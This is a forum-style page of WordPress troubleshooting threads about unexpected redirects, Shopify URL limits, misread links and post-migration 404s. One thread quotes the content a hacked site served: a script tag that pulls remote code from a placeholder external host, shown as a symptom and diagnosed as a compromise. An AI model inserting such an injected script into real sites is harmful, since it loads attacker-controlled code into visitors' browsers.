Website is showing another website on non-existent website page - wordpress

This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?

That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.

This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.

Related

How to redirect (or bring back) /services/ pages after migrating from Wordpress to Shopify?

My problem is that my client has migrated from Wordpress to Shopify, and there were some important pages on the site under the /services/ folder. I wanted to redirect them to their new pages after the migration, which are /pages/ pages.
Shopify has reserved /services/ URLs, however. Therefore I cannot redirect mydomain.com/services/some-services-page to mydomain.com/pages/some-services-page.
Additionally, I cannot change the URLs of the /pages/ pages to /services/ pages.
What would be the next best step here? It seems like a significant limitation of Shopify, as any pages you want to migrate from another CMS that have /services/, apparently can't be redirected, and you lose the SEO value. Those pages are now returning 404 and there doesn't seem to be anything I can do about it, or am I missing something?
I've had some back and forth with Shopify support, which ultimately ends with them saying its a limitation of Shopify and I should submit a feature request. I appreciate any advice you might have.
You can manually create redirects from old relative urls to new ones on shopify by going to [yourstore].myshopify.com/admin/redirects
If you want to track which pages customers are exactly hitting and getting 404's, you can use app Transportr:
https://apps.shopify.com/transportr
It tracks which pages are getting 404, and you can also create redirects directly from an app

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Can a NonWordpress Page on a Wordpress Based Site Cause Issues with Permalinks

I have a website built with Wordpress that has been having permalink issues. A few days ago, I had added a simple file, named qr.php, that I dropped in at the root level (where the wp-content and wp-upload folders reside). It has a script that redirect to pages outside of my website depending on what type of device the user is using. Basically, some one on a Apple device gets redirected to an itunes page, and droid user to the droid app store, etc.
Could this non Wordpress page be causing issues? I have had static or html pages in amonst my root level files before, and never had an issue. I feel like the redirects may change this.
Rather than using the qr.php(cutom redirect file) in your wordpress site. You can use a plugin which will help to redirect the external links.
Some of the plugins which might help you to achieve your purpose are Device Redirect - WordPress Phone &Tablet Redirect , RedirectPlus - Wordpress Mobile Redirect Plugin.
See the screenshots, try demo and check whether it fits your requirement.
No, it dont cause any issue with permalink..
I am also using a wordpress website : abc.com and a php based software integrated to admin folder on root.. And I can access easily abc.com and abc.com/newfolder/abc.php

One wordpress website is always interpreting link to other wordpress site hosted on same VPS as an internal link

So I work on this Wordpress website with an event calendar at work.
Another organization had a problem getting support from their hosting, so we migrated them to our VPS as a temporary solution.
Since that has happened, they've been submitting events to our calendar, with links going to their website.
However, Wordpress upon seeing those links systematically interprets them as internal links, and looks for the document locations within our own domain name and website (and obviously doesn't find them, resulting in broken links).
I was wondering if this issue had to do with Wordpress identifying the IP address of the other site as being local because it's on the same VPS, and then interpreting local as being part of the same site?
If so, how do I have to set up the hosting on the VPS to prevent that from happening?
So the problem was in adding links in the WYSIWYG editor, and the fact that they were providing urls in their form entries without the http:// component, and that the link automatically has http:// selected (highlighted in blue), so that if you just paste the links, and they are missing the http:// component, it will look for the url within the current domain.
Not sure if there is a config for that to prevent that hiccup, but a single stroke to the right arrow before pasting has solved everything.

Wordpress - after upload on server 404 on all pages, no css

I have developed a wordpress based site using xampp 1.8.3. On my local machine all is wordìking fine. On the server I am using php 5.4.12.
On the server I copied the site on a subfolder name site, wich is the same subfolder name I had in xampp/htdocs. Then i changed all occurances of localhost to mydomain.com with the searchreplacedb2.php script (http://interconnectit.com/products/search-and-replace-for-wordpress-databases). I am confident that the tool is working properly and the issue does not depend on it as I have used it several other times with succcess.
Therefore since on my local machine the site was in localhost/site, on the hosting server is on mydomain.com/site.
The proble is that accessing the site home page produces a wordpress managed 404 page with no css being loaded. The title, menu and other site specific text is displayed, therefore the db is being read correctly. Trying to access any page other than the home page gets a webhost managed 404 page. This happens also if I try to access page through non symbolic urls, ei. mydomain.com/site/?page_id=5; therefore it is should not be a redirection issues.
what can be the issue? How can I proceed in troubleshooting it?
Thanks, in advance for your time.
You need to double check everything, first:
Flush the rewrite rules by visiting settings->permalinks then try your pages. Then try:
List item login to phpmyadmin for each domain, check out the database... options table... verify the "siteurl", and "home" columns. make sure they match the respective domains. Then try:
List itemCheck the DNS zone template. Could very well be possible DNS conflicts.

Resources